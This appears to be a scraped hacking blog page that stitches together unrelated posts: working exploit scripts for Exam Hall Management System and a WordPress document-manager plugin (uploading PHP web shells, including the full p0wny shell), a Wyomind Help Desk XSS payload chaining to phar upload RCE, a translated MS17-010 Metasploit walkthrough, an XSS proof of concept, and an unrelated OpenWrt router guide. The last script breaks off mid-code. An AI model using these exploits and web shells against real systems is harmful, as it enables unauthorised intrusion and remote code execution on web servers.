Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863128281

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthenticated)
# Exploit Author: Davide 'yth1n' Bianchin
# Contacts: davide dot bianchin at dedagroup dot it
# Original PoC: https://exploit-db.com/exploits/50103
# Date: 06.07.2021
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14205/exam-hall-management-system-full-source-code-using-phpmysql.html
# Version: 1.0
# Tested on: Kali Linux

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import os
import sys
import string
import random
import time

host = 'localhost' #CHANGETHIS
path = 'SourceCode' #CHANGETHIS

url = 'http://'+host+'/'+path+'/pages/save_user.php'

def id_generator(size=6, chars=string.ascii_lowercase):
	return ''.join(random.choice(chars) for _ in range(size))+'.php'

if len(sys.argv) == 1:
    print("#########")
    print("Usage: python3 examhallrce.py command")
    print("Usage: Use the char + to concatenate commands")
    print("Example: python3 examhallrce.py whoami")
    print("Example: python3 examhallrce.py ls+-la")
    print("#########")
    exit()


filename = id_generator()
print("Generated "+filename+ " file..")
time.sleep(2)
print("Uploading file..")
time.sleep(2)

   


def reverse():
    command = sys.argv[1]
    multipart_data = MultipartEncoder({
        'image': (filename, '<?php system($_GET["cmd"]); ?>', 'application/octet-stream'),
        'btn_save': ''
        })
    r = requests.post(url, data=multipart_data, headers={'Content-Type':multipart_data.content_type})   
    endpoint = 'http://'+host+'/'+path+'/uploadImage/Profile/'+filename+'' 
    urlo = 'http://'+host+'/'+path+'/uploadImage/Profile/'+filename+'?cmd='+command+''
    print("Success, file correctly uploaded at: " +endpoint+ "")
    time.sleep(1) 
    print("Executing command in 1 seconds:\n")
    time.sleep(1)
    os.system("curl -X GET "+urlo+"")

reverse()
            

0x01序文

MS17-010のPSEXECは、Microsoft Windowsの最も人気のある2つの脆弱性を攻撃します。

CVE-2017-0146(EternalChampion/EternalSynergy) - トランザクションリクエストでレース条件を活用する

CVE-2017-0143(ETERNALROMANCE/ETERNALSYNERGY) - レバレッジタイプのwriteandxと取引リクエストの間の難読化

EternalBlueと比較して、このモジュールには高い信頼性と優先度があり、パイプライン名を匿名ログインに使用できます(通常、VistaおよびWild Domainコンピューターの前のすべてが比較的一般的です)。

0x02利用条件

Exploit/Windows/SMB/MS17_010_PSEXECを使用できるようにするため:

有効なユーザー名とパスワードを使用して、これらの主要な要件をバイパスできます

1.ファイアウォールは、SMBトラフィックが入力して終了することを許可する必要があります

2。ターゲットはSMBV1プロトコルを使用する必要があります

3.ターゲットには、MS17-010パッチが欠落している必要があります

4.ターゲットは匿名のIPC $およびパイプライン名を許可する必要があります

SMB MS17-010とPipe Auditor Assisted Scanモジュールを使用して、これらすべてを確認できます。

0x03オプション

AngementPipeオプション----デフォルトで要求されるモジュールは、利用可能なパイプラインのパブラインリストをスキャンします。名前でパイプライン名を指定できます。

leakattempts option ---オプションは、脆弱性の安定性dbgtraceオプションを確保するために使用されます---オプション、デバッグ用に1に設定することをお勧めします。

smbuserオプション---オプション、win10上に有効なWindowsユーザー名を設定する必要があります

SMBPASSオプション----オプション、Win10の上に制限されたWindowsパスワードを設定する必要があります

0x04テスト結果

1。最初に、スキャナー/SMB/PIPE_AUDITORモジュールを使用して、ターゲットネットワークセグメントホストの利用可能なパイプライン名をスキャンします。スキャンされたWindows 2003パイプライン名のほとんどは匿名です。より多くのパイプライン名をスキャンする必要がある場合は、利用可能なユーザー名とパスワードを提供する必要もあります。

cjnj4nxp0el9099.jpg

2。ターゲットホストのパイプ名192.168.99.240を見ることができます。

41brdgdmgea9100.jpg

3. MSFの下のExploit/Windows/SMB/MS17_010_PSEXECモジュールを介して、さらなる浸透が実行されます(MSFUPDateコマンドで更新するか、MSFを再ダウンロードしてインストールする必要があります)

nxblkkoiprc9101.jpg

4.ここでは、ターゲットホストIPアドレス、ポート、パイプライン名を設定する必要があります

bwo4bavxgy19102.jpg

5.最後に、ターゲットホストのshell:が正常に取得されました

5htgwojk3xp9103.jpg

# Exploit Title: Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE) 
# Date: 2021-07-07
# Exploit Author: Patrik Lantz
# Vendor Homepage: https://www.wyomind.com/magento2/helpdesk-magento-2.html
# Version: <= 1.3.6
# Tested on: Ubuntu 18.04-20.04, Apache, PHP 7.2, Magento 2


The Mangento 2 Help Desk extension from Wyomind up to and including version 1.3.6 is vunerable to stored XSS, directory traversal and  unrestricted upload of a dangerous file type. These vulnerabilites combined could lead to code execution.

A XSS payload can be sent via the ticket message from the front-end in the 'Support - My tickets' section. 
The payload is triggered when an administrator views the ticket in the Magento 2 backend. The following request enable
the delivery of the XSS payload:

POST /helpdesk/customer/ticket_save/ HTTP/1.1
Host: <redacted>
Content-Type: multipart/form-data; boundary=---------------------------243970849510445067673127196635
Content-Length: 683
Origin: https://<redacted>
Connection: close
Referer: https://<redacted>/helpdesk/customer/ticket_view/
Cookie: <redacted>
Upgrade-Insecure-Requests: 1

-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="form_key"

<redacted>
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="object"

Hello
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="message_cc"


-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="content"

<p><script>alert(1)</script></p>
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="hideit"


-----------------------------243970849510445067673127196635--



The following XSS payload shown below can be used to trigger 

1) Enabling file attachments in ticket messages
2) Adding 'phar' to allowed file extensions
3) Setting the attachment directory to 'helpdesk/files/../../../pub'


<script>
function successListener(e) {    
	var doc = e.target.response
	var action=doc.getElementById('config-edit-form').action;
	
	function submitRequest()
	{
	var formKey = FORM_KEY;
	var xhr = new XMLHttpRequest();
	xhr.open("POST", action, true);
	xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------14303502862141221692667966053");
	xhr.withCredentials = true;
	var body = "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"form_key\"\r\n" + 
	  "\r\n" + 
	  formKey + "\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_license]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_general]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][log][value]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][default_email][value]\"\r\n" + 
	  "\r\n" + 
	  "\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][default_status][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][pending_status][value]\"\r\n" + 
	  "\r\n" + 
	  "2\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][closed_status][value]\"\r\n" + 
	  "\r\n" + 
	  "3\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][ticket_prefix][value]\"\r\n" + 
	  "\r\n" + 
	  "10000\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][fields][menu_label][value]\"\r\n" + 
	  "\r\n" + 
	  "Support - My Tickets\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][fields][top_link_enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][fields][attachments][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend_attachments_settings]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_extension][value]\"\r\n" + 
	  "\r\n" + 
	  "jpeg,gif,png,pdf,phar\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_directory_path][value]\"\r\n" + 
	  "\r\n" + 
	  "helpdesk/files/../../../pub\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_upload_max_filesize][value]\"\r\n" + 
	  "\r\n" + 
	  "2M\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_post_max_size][value]\"\r\n" + 
	  "\r\n" + 
	  "4M\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_customer_settings]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_content][value]\"\r\n" + 
	  "\r\n" + 
	  "Dear {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" + 
	  "Your message has been sent to the support team.\r\n" + 
	  "Here is the message content:\x3cbr/\x3e\r\n" + 
	  "\"{{message}}\" \x3cbr/\x3e\x3cbr/\x3e\r\n" + 
	  "Kind Regards,\r\n" + 
	  "The Support Team.\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_content][value]\"\r\n" + 
	  "\r\n" + 
	  "Hello {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" + 
	  "Your ticket \"{{ticket_object}}\" (#{{prefixed_id}}) has been updated.\r\n" + 
	  "Please login to your account via this link in order to see the new message: {{customer_account_link}}\x3cbr/\x3e\x3cbr/\x3e\r\n" + 
	  "Regards,\r\n" + 
	  "The Support Team.\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_support_team_settings]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_content][value]\"\r\n" + 
	  "\r\n" + 
	  "You received a new message from a customer.\r\n" + 
	  "-----------------------------14303502862141221692667966053--\r\n";
	var aBody = new Uint8Array(body.length);
	for (var i = 0; i < aBody.length; i++)
	aBody[i] = body.charCodeAt(i); 
	xhr.send(new Blob([aBody]));
	}
	submitRequest();
}
	
var request = new XMLHttpRequest();  
request.onload = successListener;    
request.responseType = 'document';
request.open('GET', document.querySelector('[data-ui-id="menu-wyomind-helpdesk-configuration"]').querySelector('a').href, true);  
request.send();
</script> 

After the XSS payload is executed, it is possible to upload a phar file by attaching files to ticket messages. Upon successful upload, the uploaded files can be requested to trigger the execution of it by requesting

https://[HOSTNAME]/<ticketId>/<messageId>/filename.phar 

ticketId and messageId can be identified after sending the ticket message with the attached phar file. The ticketId is visible in the 
URL, for example: 

https://[HOSTNAME]/helpdesk/customer/ticket_view/ticket_id/7/

and the messageId can be identified by hovering over the uploaded file link which will be similar to 

https://[HOSTNAME]/helpdesk/customer/message_downloadAttachment/message/40/file/filename.phar

in this case, the messageId is 40.
            
# Exploit Title: Employee Record Management System 1.2 - Stored Cross-Site Scripting (XSS)
# Date: 07 July 2021
# Exploit Author: Subhadip Nag (mrl0s3r)
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/
# Tested on: Server: XAMPP

# Description #

Employee Record Management System 1.2 is vulnerable to stored cross site scripting (xss) in the Edit My Education because of insufficient user supplied data.


# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/ERMSP/erms/loginerms.php
2) Login: Login as a User(given username and password)
3) Go To Edit My Education and Edit My Exp
4) Enter the payload: <script>alert(1)</script>
5) Click Update
6) Go to 'My Education' option
7) Our XSS attack successful

# PoC image
1) https://ibb.co/LS78xjX
2) https://ibb.co/9G0Pbxb
            

In this article, we will take a look at Openwrt based on Raspberry Pi 4B. Openwrt is a famous router management system. It is used by many manufacturers due to its open source and third-party compilation advantages.

I happened to have a Raspberry Pi 4B on hand, and I flashed Openwrt to do soft routing. At the same time, try to add various plugins to it.2drq4d2gxpx4244.jpg

Accessories Preparation

Raspberry Pi 4B development board 32G memory card one network cable

Select firmware

Here I am using Lean's Raspberry Pi openwrt firmware.

Author's project address: https://github.com/coolsnowwolf/openwrt

Flash firmware

Open the tool win32, select the firmware and disk location as follows, click Write x2eqnhrnnme4248.jpg

After the write is successful, insert the card into the Raspberry Pi. Start the Raspberry Pi.

Login the background

Connect the Raspberry Pi's network port to your computer with a network cable, and then enter 192.168.1.1 in the browser. If the connection is fine, it will jump directly to the openwrt background interface.

Default username: root

Default login password: password t20bvllht4z4250.jpg

Add interface

Add a wan port, the protocol is DHCP client, check the Ethernet adapter eth0 in the physical settings xfhvqcdeem44251.png

The Advantages of Openwrt

The difference between openwrt and other firmware is that it can install many plug-ins. Such as advertising blocking, cloud disk download acceleration, etc.4y4u3o0efda4253.jpg

Network storage vw41hsqqy3n4254.jpg

Of course, we can also use Nginx and PHP environments on the router. In other words, we can build the router into a small server.

Configure ssh

Why can’t you log in to ssh for your own things? Many router firmware cannot be logged in with ssh, while openwrt is very simple.

Configure ssh vcvwa21xcmi4259.png

Log in ssh izsr5jbjjez4260.png

Build a blog

Modify nginx configuration file

user root root;

worker_processes 1;

pid /var/run/nginx_kodexplorer.pid;

events {

worker_connections 1024;

}

http {

include /etc/nginx/mime.types;

sendfile on;

keepalive_timeout 65;

server {

listen 8081;

server_name localhost;

location/{

root /mnt/www/;

index index.html index.htm index.php;

}

error_page 500 502 503 504 /50x.html;

location=/50x.html {

root html;

}

location ~ \.php$ {

root /mnt/www/;

try_files $uri=404; # PHP file does not exist and returns 404

fastcgi_pass unix:/var/run/php7-fpm.sock; # Execute PHP through Unix sockets

fastcgi_index index.php;

fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # Fix Nginx fastcgi vulnerability

include /etc/nginx/fastcgi_params;

}

}

}

Test probe file

wbftwgkdp304261.png

Installing typecho

In this way, an inconspicuous router is built into a server.

# Exploit Title: Wordpress Plugin SP Project & Document Manager 4.21 - Remote Code Execution (RCE) (Authenticated)
# Date 07.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://smartypantsplugins.com/
# Software Link: https://downloads.wordpress.org/plugin/sp-client-document-manager.4.21.zip
# Version: Before 4.22
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24347
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24347/README.md

'''
Description:
The SP Project & Document Manager WordPress plugin before 4.22 allows users to upload files, however,
the plugin attempts to prevent php and other similar files that could be executed on the server from being uploaded
by checking the file extension. It was discovered that php files could still be uploaded by
changing the file extension's case, for example, from "php" to "pHP".
'''


'''
Banner:
'''
banner = """
   ______     _______     ____   ___ ____  _      ____  _  _  _____ _  _ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ \| || ||___ /| || |___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_____ __) | || |_ |_ \| || |_ / / 
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__   _|__) |__   _/ /  
 \____|  \_/  |_____|   |_____|\___/_____|_|    |_____|  |_||____/   |_|/_/   

                * Wordpress Plugin SP Project & Document Manager < 4.22 - RCE (Authenticated)                                                        
                * @Hacker5preme

"""
print(banner)


'''
Import required modules:
'''
import requests
import argparse


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin SP Project & Document Manager < 4.22 - RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
print('[*] Starting Exploit:')
print('')

'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'

# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
}

# Authenticate:
print('')
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
    print('[+] Authentication successfull !')
else:
    print('[-] Authentication failed !')
    exit()


'''
Retrieve User ID from the widget:
'''
user_id_text = session.get('http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=sp-client-document-manager-fileview').text
search_string = "<form><select name='user_uid' id='user_uid' class=''>"
user_string = ">" + username
user_id_text = user_id_text[user_id_text.find(search_string):]
user_id_text = user_id_text[user_id_text.find(user_string) - 2: user_id_text.find(user_string)]
user_id = user_id_text.replace("'", '')


'''
Exploit:
'''
exploit_url = "http://" + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=sp-client-document-manager-fileview&id=' + user_id

# Header (Exploit):
Header = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Referer": exploit_url,
    "Content-Type": "multipart/form-data; boundary=---------------------------37032792112149247252673711332",
    "Origin": "http://" + target_ip,
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1"
}

# Web Shell payload (p0wny shell): https://github.com/flozz/p0wny-shell
shell_payload = "-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"cdm_upload_file_field\"\r\n\r\na1b3bac1bc\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"_wp_http_referer\"\r\n\r\n/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-name\"\r\n\r\nExploits\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"shell.pHP\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    